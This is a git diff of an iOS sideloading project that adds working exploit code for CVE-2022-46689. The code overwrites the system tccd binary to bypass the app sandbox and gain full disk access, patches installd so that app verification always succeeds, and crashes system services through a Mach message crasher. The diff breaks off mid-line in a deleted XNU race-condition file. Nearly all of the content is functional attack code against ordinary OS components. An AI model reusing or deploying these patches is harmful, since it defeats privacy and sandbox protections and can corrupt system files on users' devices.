crash_with_xpc_thingy("com.apple.mobile.installd"); - sleep(1); - - // TODO(zhuowei): for now we revert it once installd starts - // so the change will only last until when this installd exits -// over_write_file(fd, originalData); - return true; -} -#endif /* MDC */ diff --git a/AltStore/MDC/grant_fda.h b/AltStore/MDC/grant_full_disk_access.h similarity index 58% rename from AltStore/MDC/grant_fda.h rename to AltStore/MDC/grant_full_disk_access.h index 19acd53a..5496e39f 100644 --- a/AltStore/MDC/grant_fda.h +++ b/AltStore/MDC/grant_full_disk_access.h @@ -3,6 +3,6 @@ @import Foundation; /// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox. -void grant_fda(void (^_Nonnull completion)(NSError* _Nullable)); -bool installdaemon_patch(void); +void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable)); +bool patch_installd(void); #endif /* MDC */ diff --git a/AltStore/MDC/grant_full_disk_access.m b/AltStore/MDC/grant_full_disk_access.m new file mode 100644 index 00000000..f87a06dc --- /dev/null +++ b/AltStore/MDC/grant_full_disk_access.m @@ -0,0 +1,612 @@ +#ifdef MDC +@import Darwin; +@import Foundation; +@import MachO; + +#import +// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from +// WDBFontOverwrite +// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything) +// Please don't call this code on iOS 14 or below +// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot) +#import "grant_full_disk_access.h" +#import "helpers.h" +#import "vm_unaligned_copy_switch_race.h" + +typedef NSObject* xpc_object_t; +typedef xpc_object_t xpc_connection_t; +typedef void (^xpc_handler_t)(xpc_object_t object); +xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys, + xpc_object_t _Nullable const* values, size_t count); +xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq, + uint64_t flags); +void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler); +void xpc_connection_resume(xpc_connection_t connection); +void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, + dispatch_queue_t replyq, xpc_handler_t handler); +xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, + xpc_object_t message); +xpc_object_t xpc_bool_create(bool value); +xpc_object_t xpc_string_create(const char* string); +xpc_object_t xpc_null_create(void); +const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key); + +int64_t sandbox_extension_consume(const char* token); + +// MARK: - patchfind + +struct grant_full_disk_access_offsets { + uint64_t offset_addr_s_com_apple_tcc_; + uint64_t offset_padding_space_for_read_write_string; + uint64_t offset_addr_s_kTCCServiceMediaLibrary; + uint64_t offset_auth_got__sandbox_init; + uint64_t offset_just_return_0; + bool is_arm64e; +}; + +static bool patchfind_sections(void* executable_map, + struct segment_command_64** data_const_segment_out, + struct symtab_command** symtab_out, + struct dysymtab_command** dysymtab_out) { + struct mach_header_64* executable_header = executable_map; + struct load_command* load_command = executable_map + sizeof(struct mach_header_64); + for (int load_command_index = 0; load_command_index < executable_header->ncmds; + load_command_index++) { + switch (load_command->cmd) { + case LC_SEGMENT_64: { + struct segment_command_64* segment = (struct segment_command_64*)load_command; + if (strcmp(segment->segname, "__DATA_CONST") == 0) { + *data_const_segment_out = segment; + } + break; + } + case LC_SYMTAB: { + *symtab_out = (struct symtab_command*)load_command; + break; + } + case LC_DYSYMTAB: { + *dysymtab_out = (struct dysymtab_command*)load_command; + break; + } + } + load_command = ((void*)load_command) + load_command->cmdsize; + } + return true; +} + +static uint64_t patchfind_get_padding(struct segment_command_64* segment) { + struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64); + struct section_64* last_section = §ion_array[segment->nsects - 1]; + return last_section->offset + last_section->size; +} + +static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length, + const char* needle) { + void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); + if (!str_offset) { + return 0; + } + uint64_t str_file_offset = str_offset - executable_map; + for (int i = 0; i < executable_length; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + i); + if ((val & 0xfffffffful) == str_file_offset) { + return i; + } + } + return 0; +} + +static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) { + // TCCDSyncAccessAction::sequencer + // mov x0, #0 + // ret + static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; + void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + if (!offset) { + return 0; + } + return offset - executable_map; +} + +static uint64_t patchfind_got(void* executable_map, size_t executable_length, + struct segment_command_64* data_const_segment, + struct symtab_command* symtab_command, + struct dysymtab_command* dysymtab_command, + const char* target_symbol_name) { + uint64_t target_symbol_index = 0; + for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) { + struct nlist_64* sym = + ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index; + const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx; + if (strcmp(sym_name, target_symbol_name)) { + continue; + } + // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map)); + target_symbol_index = sym_index; + break; + } + + struct section_64* section_array = + ((void*)data_const_segment) + sizeof(struct segment_command_64); + struct section_64* first_section = §ion_array[0]; + if (!(strcmp(first_section->sectname, "__auth_got") == 0 || + strcmp(first_section->sectname, "__got") == 0)) { + return 0; + } + uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff; + + for (int i = 0; i < first_section->size; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i); + uint64_t indirect_table_entry = (val & 0xfffful); + if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) { + return first_section->offset + i; + } + } + return 0; +} + +static bool patchfind(void* executable_map, size_t executable_length, + struct grant_full_disk_access_offsets* offsets) { + struct segment_command_64* data_const_segment = nil; + struct symtab_command* symtab_command = nil; + struct dysymtab_command* dysymtab_command = nil; + if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + &dysymtab_command)) { + printf("no sections\n"); + return false; + } + if ((offsets->offset_addr_s_com_apple_tcc_ = + patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) { + printf("no com.apple.tcc. string\n"); + return false; + } + if ((offsets->offset_padding_space_for_read_write_string = + patchfind_get_padding(data_const_segment)) == 0) { + printf("no padding\n"); + return false; + } + if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string( + executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) { + printf("no kTCCServiceMediaLibrary string\n"); + return false; + } + if ((offsets->offset_auth_got__sandbox_init = + patchfind_got(executable_map, executable_length, data_const_segment, symtab_command, + dysymtab_command, "_sandbox_init")) == 0) { + printf("no sandbox_init\n"); + return false; + } + if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) == + 0) { + printf("no just return 0\n"); + return false; + } + struct mach_header_64* executable_header = executable_map; + offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; + + return true; +} + +// MARK: - tccd patching + +static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) { + // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can + // re-use it until next reboot. + // Returns the sandbox token if there is one, or nil if there isn't one. + xpc_connection_t connection = xpc_connection_create_mach_service( + "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); + xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { + NSLog(@"xpc event handler: %@", object); + }); + xpc_connection_resume(connection); + const char* keys[] = { + "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", + "target_token", "background_session", + }; + xpc_object_t values[] = { + xpc_string_create("17087.1"), + xpc_string_create("TCCAccessRequest"), + xpc_string_create("com.apple.app-sandbox.read-write"), + xpc_null_create(), + xpc_bool_create(false), + xpc_null_create(), + xpc_bool_create(false), + }; + xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys)); +#if 0 + xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message); + NSLog(@"%@", response_message); + +#endif + xpc_connection_send_message_with_reply( + connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), + ^(xpc_object_t object) { + if (!object) { + NSLog(@"object is nil???"); + completion(nil); + return; + } + NSLog(@"response: %@", object); + if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) { + NSLog(@"xpc error?"); + completion(nil); + return; + } + NSLog(@"debug description: %@", [object debugDescription]); + const char* extension_string = xpc_dictionary_get_string(object, "extension"); + NSString* extension_nsstring = + extension_string ? [NSString stringWithUTF8String:extension_string] : nil; + completion(extension_nsstring); + }); +} + +static NSData* patchTCCD(void* executableMap, size_t executableLength) { + struct grant_full_disk_access_offsets offsets = {}; + if (!patchfind(executableMap, executableLength, &offsets)) { + return nil; + } + + NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; + // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr); + char* mutableBytes = data.mutableBytes; + { + // rewrite com.apple.tcc. into blank string + *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0; + } + { + // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write" + // we need to stick this somewhere; just put it in the padding between + // the end of __objc_arrayobj and the end of __DATA_CONST + strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string), + "com.apple.app-sandbox.read-write"); + struct dyld_chained_ptr_arm64e_rebase targetRebase = + *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + + offsets.offset_addr_s_kTCCServiceMediaLibrary); + targetRebase.target = offsets.offset_padding_space_for_read_write_string; + *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + + offsets.offset_addr_s_kTCCServiceMediaLibrary) = + targetRebase; + *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) = + strlen("com.apple.app-sandbox.read-write"); + } + if (offsets.is_arm64e) { + // make sandbox_init call return 0; + struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = { + .auth = 1, + .bind = 0, + .next = 1, + .key = 0, // IA + .addrDiv = 1, + .diversity = 0, + .target = offsets.offset_just_return_0, + }; + *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + + offsets.offset_auth_got__sandbox_init) = + targetRebase; + } else { + // make sandbox_init call return 0; + struct dyld_chained_ptr_64_rebase targetRebase = { + .bind = 0, + .next = 2, + .target = offsets.offset_just_return_0, + }; + *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) = + targetRebase; + } + return data; +} + +static bool overwrite_file(int fd, NSData* sourceData) { + for (int off = 0; off < sourceData.length; off += 0x4000) { + bool success = false; + for (int i = 0; i < 2; i++) { + if (unaligned_copy_switch_race( + fd, off, sourceData.bytes + off, + off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) { + success = true; + break; + } + } + if (!success) { + return false; + } + } + return true; +} + +static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token, + NSError* _Nullable error)) { + char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; + int fd = open(targetPath, O_RDONLY | O_CLOEXEC); + if (fd == -1) { + // iOS 15.3 and below + targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd"; + fd = open(targetPath, O_RDONLY | O_CLOEXEC); + } + off_t targetLength = lseek(fd, 0, SEEK_END); + lseek(fd, 0, SEEK_SET); + void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); + + NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; + NSData* sourceData = patchTCCD(targetMap, targetLength); + if (!sourceData) { + completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:5 + userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]); + return; + } + + if (!overwrite_file(fd, sourceData)) { + overwrite_file(fd, originalData); + munmap(targetMap, targetLength); + completion( + nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:1 + userInfo:@{ + NSLocalizedDescriptionKey : @"Can't overwrite file: your device may " + @"not be vulnerable to CVE-2022-46689." + }]); + return; + } + munmap(targetMap, targetLength); + + xpc_crasher("com.apple.tccd"); + sleep(1); + call_tccd(^(NSString* _Nullable extension_token) { + overwrite_file(fd, originalData); + xpc_crasher("com.apple.tccd"); + NSError* returnError = nil; + if (extension_token == nil) { + returnError = + [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:2 + userInfo:@{ + NSLocalizedDescriptionKey : @"tccd did not return an extension token." + }]; + } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) { + returnError = [NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:3 + userInfo:@{ + NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token " + @"instead of an app sandbox token." + }]; + extension_token = nil; + } + completion(extension_token, returnError); + }); +} + +void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { + if (!NSClassFromString(@"NSPresentationIntent")) { + // class introduced in iOS 15.0. + // TODO(zhuowei): maybe check the actual OS version instead? + completion([NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:6 + userInfo:@{ + NSLocalizedDescriptionKey : + @"Not supported on iOS 14 and below: on iOS 14 the system partition is not " + @"reverted after reboot, so running this may permanently corrupt tccd." + }]); + return; + } + NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory + inDomains:NSUserDomainMask][0]; + NSURL* sourceURL = + [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"]; + NSError* error = nil; + NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL + encoding:NSUTF8StringEncoding + error:&error]; + if (cachedToken) { + int64_t handle = sandbox_extension_consume(cachedToken.UTF8String); + if (handle > 0) { + // cached version worked + completion(nil); + return; + } + } + grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) { + if (error) { + completion(error); + return; + } + int64_t handle = sandbox_extension_consume(extension_token.UTF8String); + if (handle <= 0) { + completion([NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:4 + userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]); + return; + } + [extension_token writeToURL:sourceURL + atomically:true + encoding:NSUTF8StringEncoding + error:&error]; + completion(nil); + }); +} + +/// MARK - installd patch + +struct installd_remove_app_limit_offsets { + uint64_t offset_objc_method_list_t_MIInstallableBundle; + uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods; + uint64_t offset_data_const_end_padding; + // MIUninstallRecord::supportsSecureCoding + uint64_t offset_return_true; +}; + +struct installd_remove_app_limit_offsets gAppLimitOffsets = { + .offset_objc_method_list_t_MIInstallableBundle = 0x519b0, + .offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8, + .offset_data_const_end_padding = 0x79c38, + .offset_return_true = 0x19860, +}; + +static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map, + size_t executable_length, + const char* needle) { + void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); + if (!str_offset) { + return 0; + } + uint64_t str_file_offset = str_offset - executable_map; + for (int i = 0; i < executable_length - 8; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + i); + if ((val & 0xfffffffful) != str_file_offset) { + continue; + } + // baseMethods + if (*(uint64_t*)(executable_map + i + 8) != 0) { + return i + 8; + } + } + return 0; +} + +static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) { + // mov w0, #1 + // ret + static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6}; + void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + if (!offset) { + return 0; + } + return offset - executable_map; +} + +static bool patchfind_installd(void* executable_map, size_t executable_length, + struct installd_remove_app_limit_offsets* offsets) { + struct segment_command_64* data_const_segment = nil; + struct symtab_command* symtab_command = nil; + struct dysymtab_command* dysymtab_command = nil; + if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + &dysymtab_command)) { + printf("no sections\n"); + return false; + } + if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) { + printf("no padding\n"); + return false; + } + if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods = + patchfind_find_class_rw_t_baseMethods(executable_map, executable_length, + "MIInstallableBundle")) == 0) { + printf("no MIInstallableBundle class_rw_t\n"); + return false; + } + offsets->offset_objc_method_list_t_MIInstallableBundle = + (*(uint64_t*)(executable_map + + offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) & + 0xffffffull; + + if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) == + 0) { + printf("no return true\n"); + return false; + } + return true; +} + +struct objc_method { + int32_t name; + int32_t types; + int32_t imp; +}; + +struct objc_method_list { + uint32_t entsizeAndFlags; + uint32_t count; + struct objc_method methods[]; +}; + +static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset, + uint64_t new_offset, uint64_t* out_copied_length, + void (^callback)(const char* sel, + uint64_t* inout_function_pointer)) { + struct objc_method_list* original_list = mutableBytes + old_offset; + struct objc_method_list* new_list = mutableBytes + new_offset; + *out_copied_length = + sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method); + new_list->entsizeAndFlags = original_list->entsizeAndFlags; + new_list->count = original_list->count; + for (int method_index = 0; method_index < original_list->count; method_index++) { + struct objc_method* method = &original_list->methods[method_index]; + // Relative pointers + uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name; + uint64_t types_file_offset = + ((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types; + uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp; + const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull); + callback(sel, &imp_file_offset); + + struct objc_method* new_method = &new_list->methods[method_index]; + new_method->name = (int32_t)((int64_t)name_file_offset - + (int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes)); + new_method->types = (int32_t)((int64_t)types_file_offset - + (int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes)); + new_method->imp = (int32_t)((int64_t)imp_file_offset - + (int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes)); + } +}; + +static NSData* make_patch_installd(void* executableMap, size_t executableLength) { + struct installd_remove_app_limit_offsets offsets = {}; + if (!patchfind_installd(executableMap, executableLength, &offsets)) { + return nil; + } + + NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; + char* mutableBytes = data.mutableBytes; + uint64_t current_empty_space = offsets.offset_data_const_end_padding; + uint64_t copied_size = 0; + uint64_t new_method_list_offset = current_empty_space; + patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle, + current_empty_space, &copied_size, + ^(const char* sel, uint64_t* inout_address) { + if (strcmp(sel, "performVerificationWithError:") != 0) { + return; + } + *inout_address = offsets.offset_return_true; + }); + current_empty_space += copied_size; + ((struct + dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + + offsets + .offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) + ->target = new_method_list_offset; + return data; +} + +bool patch_installd() { + const char* targetPath = "/usr/libexec/installd"; + int fd = open(targetPath, O_RDONLY | O_CLOEXEC); + off_t targetLength = lseek(fd, 0, SEEK_END); + lseek(fd, 0, SEEK_SET); + void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); + + NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; + NSData* sourceData = make_patch_installd(targetMap, targetLength); + if (!sourceData) { + NSLog(@"can't patchfind"); + return false; + } + + if (!overwrite_file(fd, sourceData)) { + overwrite_file(fd, originalData); + munmap(targetMap, targetLength); + NSLog(@"can't overwrite"); + return false; + } + munmap(targetMap, targetLength); + xpc_crasher("com.apple.mobile.installd"); + sleep(1); + + // TODO(zhuowei): for now we revert it once installd starts + // so the change will only last until when this installd exits + overwrite_file(fd, originalData); + return true; +} +#endif /* MDC */ diff --git a/AltStore/MDC/helping_tools.h b/AltStore/MDC/helpers.h similarity index 58% rename from AltStore/MDC/helping_tools.h rename to AltStore/MDC/helpers.h index 04780bb6..72ef20da 100644 --- a/AltStore/MDC/helping_tools.h +++ b/AltStore/MDC/helpers.h @@ -2,11 +2,11 @@ #ifndef helpers_h #define helpers_h -char* get_temporary_file_location_paths(void); +char* get_temp_file_path(void); void test_nsexpressions(void); -char* setup_temporary_file(void); +char* set_up_tmp_file(void); -void crash_with_xpc_thingy(char* service_name); +void xpc_crasher(char* service_name); #define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL)) diff --git a/AltStore/MDC/helpers.m b/AltStore/MDC/helpers.m new file mode 100644 index 00000000..aec2562e --- /dev/null +++ b/AltStore/MDC/helpers.m @@ -0,0 +1,132 @@ +#ifdef MDC +#import +#include +#include +#include + +char* get_temp_file_path(void) { + return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]); +} + +// create a read-only test file we can target: +char* set_up_tmp_file(void) { + char* path = get_temp_file_path(); + printf("path: %s\n", path); + + FILE* f = fopen(path, "w"); + if (!f) { + printf("opening the tmp file failed...\n"); + return NULL; + } + char* buf = malloc(PAGE_SIZE*10); + memset(buf, 'A', PAGE_SIZE*10); + fwrite(buf, PAGE_SIZE*10, 1, f); + //fclose(f); + return path; +} + +kern_return_t +bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp); + +struct xpc_w00t { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_port_descriptor_t client_port; + mach_msg_port_descriptor_t reply_port; +}; + +mach_port_t get_send_once(mach_port_t recv) { + mach_port_t so = MACH_PORT_NULL; + mach_msg_type_name_t type = 0; + kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type); + if (err != KERN_SUCCESS) { + printf("port right extraction failed: %s\n", mach_error_string(err)); + return MACH_PORT_NULL; + } + printf("made so: 0x%x from recv: 0x%x\n", so, recv); + return so; +} + +// copy-pasted from an exploit I wrote in 2019... +// still works... + +// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html ) + +void xpc_crasher(char* service_name) { + mach_port_t client_port = MACH_PORT_NULL; + mach_port_t reply_port = MACH_PORT_NULL; + + mach_port_t service_port = MACH_PORT_NULL; + + kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port); + if(err != KERN_SUCCESS){ + printf("unable to look up %s\n", service_name); + return; + } + + if (service_port == MACH_PORT_NULL) { + printf("bad service port\n"); + return; + } + + // allocate the client and reply port: + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port); + if (err != KERN_SUCCESS) { + printf("port allocation failed: %s\n", mach_error_string(err)); + return; + } + + mach_port_t so0 = get_send_once(client_port); + mach_port_t so1 = get_send_once(client_port); + + // insert a send so we maintain the ability to send to this port + err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND); + if (err != KERN_SUCCESS) { + printf("port right insertion failed: %s\n", mach_error_string(err)); + return; + } + + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); + if (err != KERN_SUCCESS) { + printf("port allocation failed: %s\n", mach_error_string(err)); + return; + } + + struct xpc_w00t msg; + memset(&msg.hdr, 0, sizeof(msg)); + msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); + msg.hdr.msgh_size = sizeof(msg); + msg.hdr.msgh_remote_port = service_port; + msg.hdr.msgh_id = 'w00t'; + + msg.body.msgh_descriptor_count = 2; + + msg.client_port.name = client_port; + msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send + msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR; + + msg.reply_port.name = reply_port; + msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND; + msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR; + + err = mach_msg(&msg.hdr, + MACH_SEND_MSG|MACH_MSG_OPTION_NONE, + msg.hdr.msgh_size, + 0, + MACH_PORT_NULL, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + + if (err != KERN_SUCCESS) { + printf("w00t message send failed: %s\n", mach_error_string(err)); + return; + } else { + printf("sent xpc w00t message\n"); + } + + mach_port_deallocate(mach_task_self(), so0); + mach_port_deallocate(mach_task_self(), so1); + + return; +} +#endif /* MDC */ diff --git a/AltStore/MDC/helping_tools.m b/AltStore/MDC/helping_tools.m deleted file mode 100644 index e39f16e4..00000000 --- a/AltStore/MDC/helping_tools.m +++ /dev/null @@ -1,141 +0,0 @@ -#ifdef MDC -#import -#include -#include -#include - -char* get_temporary_file_location_paths(void) { - return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]); -} - -// create a read-only test file we can target: -char* setup_temporary_file(void) { - char* path = get_temporary_file_location_paths(); -// printf("path: %s\n", path); - - FILE* f = fopen(path, "w"); - if (!f) { -// printf("opening the tmp file failed...\n"); - return NULL; - } - char* buf = malloc(PAGE_SIZE*10); - memset(buf, 'A', PAGE_SIZE*10); - fwrite(buf, PAGE_SIZE*10, 1, f); - //fclose(f); - return path; -} - -kern_return_t -bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp); - -struct x_p_c_w_zerozero_t { - mach_msg_header_t hdr; - mach_msg_body_t body; - mach_msg_port_descriptor_t client_port; - mach_msg_port_descriptor_t reply_port; -}; - -mach_port_t get_and_send_this_whatever_once_wow(mach_port_t recv) { - mach_port_t so = MACH_PORT_NULL; - mach_msg_type_name_t type = 0; - kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type); - if (err != KERN_SUCCESS) { - //a=port right extraction failed: %s\n -// printf("PREFail: %s\n", mach_error_string(err)); - return MACH_PORT_NULL; - } - //made so: 0x%x from recv: 0x%x\n -// printf("ms 0x%x fr: 0x%x\n", so, recv); - return so; -} - -// copy-pasted from an exploit I wrote in 2019... -// still works... - -// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html ) - -void crash_with_xpc_thingy(char* service_name) { - mach_port_t client_port = MACH_PORT_NULL; - mach_port_t reply_port = MACH_PORT_NULL; - - mach_port_t service_port = MACH_PORT_NULL; - - kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port); - if(err != KERN_SUCCESS){ - //unable to look up -// printf("utluqwd %s\n", service_name); - return; - } - - if (service_port == MACH_PORT_NULL) { - //bad service port -// printf("wih1221udq\n"); - return; - } - - // allocate the client and reply port: - err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port); - if (err != KERN_SUCCESS) { - //port allocation failed: -// printf("padiuhewi %s\n", mach_error_string(err)); - return; - } - - mach_port_t so0 = get_and_send_this_whatever_once_wow(client_port); - mach_port_t so1 = get_and_send_this_whatever_once_wow(client_port); - - // insert a send so we maintain the ability to send to this port - err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND); - if (err != KERN_SUCCESS) { - //port right insertion failed: -// printf("weediuwe %s\n", mach_error_string(err)); - return; - } - - err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); - if (err != KERN_SUCCESS) { - //port allocation failed: -// printf("wuiq21d %s\n", mach_error_string(err)); - return; - } - - struct x_p_c_w_zerozero_t msg; - memset(&msg.hdr, 0, sizeof(msg)); - msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); - msg.hdr.msgh_size = sizeof(msg); - msg.hdr.msgh_remote_port = service_port; - msg.hdr.msgh_id = 'w00t'; - - msg.body.msgh_descriptor_count = 2; - - msg.client_port.name = client_port; - msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send - msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR; - - msg.reply_port.name = reply_port; - msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND; - msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR; - - err = mach_msg(&msg.hdr, - MACH_SEND_MSG|MACH_MSG_OPTION_NONE, - msg.hdr.msgh_size, - 0, - MACH_PORT_NULL, - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL); - - if (err != KERN_SUCCESS) { - //w00t message send failed: -// printf("ondwehu %s\n", mach_error_string(err)); - return; - } else { - //sent xpc w00t message\n -// printf("wq98ywqe"); - } - - mach_port_deallocate(mach_task_self(), so0); - mach_port_deallocate(mach_task_self(), so1); - - return; -} -#endif /* MDC */ diff --git a/AltStore/MDC/vm_unalign_csr.c b/AltStore/MDC/vm_unalign_csr.c deleted file mode 100644 index c0cfc2c8..00000000 --- a/AltStore/MDC/vm_unalign_csr.c +++ /dev/null @@ -1,372 +0,0 @@ -#ifdef MDC -// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c -// modified to compile outside of XNU - -#include -#include -#include - -#include -#include -#include - -#include -#include - -//vm_unaligned_copy_switch_race -#include "vm_unalign_csr.h" - -#define T_QUIET -#define T_EXPECT_MACH_SUCCESS(a, 